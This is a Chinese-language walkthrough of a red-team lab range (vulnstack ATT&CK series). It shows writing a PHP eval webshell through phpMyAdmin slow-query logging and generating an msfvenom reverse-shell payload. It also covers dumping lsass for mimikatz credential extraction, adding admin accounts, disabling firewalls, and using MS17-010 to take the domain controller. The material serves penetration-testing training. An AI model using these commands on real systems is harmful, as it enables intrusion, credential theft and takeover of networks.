ATT&CK实战系列——红队实战(一)
靶机简介
红日靶场 ATT&CK实战系列——红队实战(一)
红队实战系列,主要以真实企业环境为实例搭建一系列靶场。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。虚拟机所有统一密码:hongrisec@2019。
靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/?page=2
环境搭建
-
kali
设置为NAT模式
-
win2003
与win2008
设置为仅主机模式
-
win7
添加一个网卡,一个设置为NAT模式
,另一个设置为仅主机模式
外网打点
phpmyadmin拿shell
netdiscover
发现主机ip
访问后发现后一phpStudy探针
目录扫描发现有phpmyadmin
发现存在弱口令root/root
尝试写入shell select .. into outfile ..
,发现有 --secure-file-priv 限制
利用(慢日志查询)绕过
set global slow_query_log='on';
set global slow_query_file='C://phpstudy/WWW/shell.php';
select '<?php @eval(@_POST[dimp]);?>' or sleep(5);
这里写shell遇到一个问题,当我设置路径为 C:\\phpstudy\WWW时,最后写入的文件在C盘中,文件名为phpstudywwwshell.php,并没有写入web目录。
我把路径斜杠换一下换成反斜杠即写入成功
然后即可通过蚁剑连接 (msf.exe是后来上传上去的后门)
反弹shell
通过msf生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip lport= 监听端口 -f exe >msf.exe
msf开启监听
use exploit/multi/hander
set payload windows/meterpreter/reverse_tcp
set lhost
set lport
run
将生成的木马上传到蚁剑执行,上线!
提权
使用 getsystem
提权,即可提权成功
远程连接
查看端口情况发现3389并未开启
开启3389的命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389命令
之后添加用户,并将用户添加到管理员组
net user username password /add
net localgroup Administrators username /add
然后通过3389去连目标,但是却连接失败,估计是被防火墙拦截了
在meterpreter中关闭防火墙
然后即可连3389了
登陆用户的时候发现要把别人挤下来,
(此时可以上传一个rdp的用户多开工具 RDPWrap,即可成功登陆。)
抓取密码
抓取密码的话可以直接上传 mimikatz
到靶机进行抓取,但是容易被杀软识别,如果工具可免杀的话可直接上传到服务器抓取。如果不免杀的话可以先用 procdump
导出 lsass.dmp
拖回本地抓取密码来规避杀软。
将procdump
上传到蚁剑中,并运行一下命令导出 lsass.dmp
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
奇怪的是 dir 打开能看到这个文件,但是用蚁剑打开却没有此文件
不知道这是咋回事,换菜刀连接shell即可看到该文件,下载下来。
然后在mimikatz
中使用以下命令即可获取密码
sekurlsa::minidump ./dir/lsass.dmp
sekurlsa::logonpasswords
成功抓取到明文密码
撸入内网
ms17_010 拿下win2003
查看路由表
arp -a
可以看到另一个段 192.168.52.0/24
添加路由(忘记截图了)
run autoroute -s 192.168.52.0/24 # 添加路由
run autoroute -p # 查看路由
假设msf代理,构建内网通道(忘记截图了)
use auxiliary/server/socks4a
set srvhost 192.168.136.131
ser srvport 1080
run
然后编辑 proxychains,在最后一行设置相应ip和端口
sudo vim /etc/proxychains.conf
查看代理是否成功,curl一下网页的内网地址
然后通过nmap扫描端口,发现开启了smb端口
通过smb_version模块扫描系统版本
user auxiliary/scanner/smb/smb_version
set rhost 192.168.52.141
run
得到该系统为win2003,然后检测是否存在永恒之蓝漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
确定存在漏洞,直接打shell
search 17_010
用 ms17_010_eternalblue
直接打,但是却拿不到shell
但发现可以用 ms17_010_command
执行命令
那就直接开启3389,添加用户登陆(注意开启3389的命令,对其中的反斜杠和双引号要添加反斜杠转义)
set command "REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"
run
nmap探测开启情况
添加用户并添加到管理员组
set command "net user username password /add"
run
set command "net localgroup Administrator username /add"
run
登陆3389
proxychains desktop 192.168.52.141
ms17_010 拿下域控
发现域控也开了445,同样用smb_version探测系统
同样发现直接打不了shell,但是可以 ms17_010_command 执行命令
同样开启3389,添加用户
但是nmap探测却发现3389端口未开启,估计又是防火墙的原因,关闭防火墙
netsh firewall set opmode mode=disable
添加用户登陆(之前还用抓到了管理密码,可以直接用管理账号)
拿下域控